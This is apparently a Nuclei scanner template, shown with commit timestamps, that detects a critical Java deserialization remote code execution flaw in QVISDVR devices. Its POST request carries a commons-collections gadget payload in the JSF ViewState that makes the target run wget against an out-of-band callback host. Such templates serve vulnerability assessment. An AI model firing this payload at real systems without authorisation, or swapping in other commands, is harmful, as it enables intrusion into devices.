2021-07-18 16:30:43 +00:00
|
|
|
id: qvisdvr-deserialization-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: QVISDVR JSF Deserialization - Remote Code Execution
|
2022-04-22 10:38:41 +00:00
|
|
|
author: me9187
|
2021-07-18 16:30:43 +00:00
|
|
|
severity: critical
|
2022-05-20 21:38:52 +00:00
|
|
|
description: |
|
|
|
|
QVISDVR Java-Deserialization was discovered, which could allow remote code execution.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://twitter.com/Me9187/status/1414606876575162373
|
2022-05-20 21:38:52 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-20 21:38:52 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: qvisdvr,rce,deserialization,jsf,iot
|
2021-07-18 16:30:43 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-18 16:30:43 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /qvisdvr/ HTTP/1.1
|
2021-07-18 16:32:30 +00:00
|
|
|
Host: {{Hostname}}
|
2021-07-18 16:30:43 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
- |
|
|
|
|
POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
|
2021-07-18 16:32:30 +00:00
|
|
|
Host: {{Hostname}}
|
2021-07-18 16:30:43 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2021-07-27 10:59:17 +00:00
|
|
|
javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
2021-07-18 16:30:43 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: token
|
|
|
|
group: 1
|
|
|
|
internal: true
|
|
|
|
part: header
|
|
|
|
regex:
|
|
|
|
- "JSESSIONID=(.*)"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
2022-05-20 21:38:52 +00:00
|
|
|
- http
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 500
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402200e9936a06281f147687033f7c60de3ff5000e7143af3cf5ddf2906f5459321bd0220172dd79bdca4f819ecf54566c167726e51b4e8c2859d928ced2d32d3d60e3824:922c64590222798bb761d5b6d8e72950
|